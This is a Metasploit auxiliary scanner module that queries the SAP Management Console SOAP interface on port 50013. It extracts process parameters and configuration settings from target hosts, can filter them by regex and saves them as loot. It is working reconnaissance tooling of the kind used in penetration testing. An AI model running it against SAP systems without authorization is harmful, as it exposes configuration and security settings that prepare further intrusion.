##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit4 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner

	def initialize
		super(
			'Name'         => 'SAP Management Console Get Process Parameters',
			'Version'      => '$Revision$',
			'Description'  => %q{
				This module simply attempts to output a SAP process parameters and
				configuration settings through the SAP Management Console SOAP Interface.
				},
			'References'   =>
				[
					# General
					[ 'URL', 'http://blog.c22.cc' ]
				],
			'Author'       => [ 'Chris John Riley' ],
			'License'      => MSF_LICENSE
		)

		register_options(
			[
				Opt::RPORT(50013),
				OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
				OptString.new('MATCH', [false, 'Display matches e.g login/', '']),
			], self.class)
		register_autofilter_ports([ 50013 ])
		deregister_options('RHOST')
	end

	def rport
		datastore['RPORT']
	end

	def run_host(ip)
		res = send_request_cgi({
			'uri'      => "/#{datastore['URI']}",
			'method'   => 'GET',
			'headers'  =>
				{
					'User-Agent' => datastore['UserAgent']
				}
		}, 25)

		if not res
			print_error("#{rhost}:#{rport} [SAP] Unable to connect")
			return
		end

		getprocparam(ip)
	end

	def getprocparam(rhost)
		print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
		success = false
		soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
		xsi = 'http://www.w3.org/2001/XMLSchema-instance'
		xs = 'http://www.w3.org/2001/XMLSchema'
		sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
		ns1 = 'ns1:GetProcessParameter'

		data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
		data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '"  xmlns:xsi="' + xsi
		data << '" xmlns:xs="' + xs + '">' + "\r\n"
		data << '<SOAP-ENV:Header>' + "\r\n"
		data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
		data << '<enableSession>true</enableSession>' + "\r\n"
		data << '</sapsess:Session>' + "\r\n"
		data << '</SOAP-ENV:Header>' + "\r\n"
		data << '<SOAP-ENV:Body>' + "\r\n"
		data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
		data << '</SOAP-ENV:Body>' + "\r\n"
		data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"

		begin
			res = send_request_raw({
				'uri'      => "/#{datastore['URI']}",
				'method'   => 'POST',
				'data'     => data,
				'headers'  =>
					{
						'Content-Length' => data.length,
						'SOAPAction'     => '""',
						'Content-Type'   => 'text/xml; charset=UTF-8',
					}
			}, 30)

			if not res
				print_error("#{rhost}:#{rport} [SAP] Unable to connect")
				return
			end

			if res.code == 200
				case res.body
				when nil
					# Nothing
				when /<parameter>(.*)<\/parameter>/i
					body = []
					body = res.body
					success = true
				end
			elsif res.code == 500
				case res.body
				when /<faultstring>(.*)<\/faultstring>/i
					faultcode = $1.strip
					fault = true
				end
			else
				print_error("#{rhost}:#{rport} [SAP] Unable to communicate with remote host.")
			end

		rescue ::Rex::ConnectionError
			print_error("#{rhost}:#{rport} [SAP] Unable to attempt authentication")
			return
		end

		if success
			#Only stoor loot if MATCH is not selected
			if datastore['MATCH'].empty?
				print_good("#{rhost}:#{rport} [SAP] Process Parameters: Entries extracted to loot")
				store_loot(
					"sap.getprocessparameters",
					"text/xml",
					rhost,
					res.body,
					".xml"
				)
			else
				name_match = Regexp.new(datastore['MATCH'], [Regexp::EXTENDED, 'n'])
				print_status("[SAP] Regex match selected, skipping loot storage")
				print_status("#{rhost}:#{rport} [SAP] Attempting to display configuration matches for #{name_match}")

				saptbl = Msf::Ui::Console::Table.new(
					Msf::Ui::Console::Table::Style::Default,
				'Header'    => "[SAP] Process Parameters",
				'Prefix'    => "\n",
				'Indent'    => 1,
				'Columns'   =>
				[
					"Name",
					"Description",
					"Value"
				])

				xmldata = REXML::Document.new(body)
				xmlpath = '/SOAP-ENV:Envelope/SOAP-ENV:Body/'
				xmlpath << '/SAPControl:GetProcessParameterResponse'
				xmlpath << '/parameter/item'
				xmldata.elements.each(xmlpath) do | ele |
					if not datastore['MATCH'].empty? and ele.elements["name"].text.match(/#{name_match}/)
						name = ele.elements["name"].text if not ele.elements["name"].nil?
						desc = ele.elements["description"].text if not ele.elements["description"].nil?
						desc = '' if desc.nil?
						val = ele.elements["value"].text if not ele.elements["value"].nil?
						val = '' if val.nil?
						saptbl << [ name, desc, val ]
					end
				end

				print_status("[SAP] Process Parameter Results for #{name_match}\n #{saptbl.to_s}") if not saptbl.to_s.empty?
			end

			return

		elsif fault
			print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}")
			return

		else
			# Something has gone horribly wrong
			print_error("#{rhost}:#{rport} [SAP] failed to request environment")
			return
		end
	end
end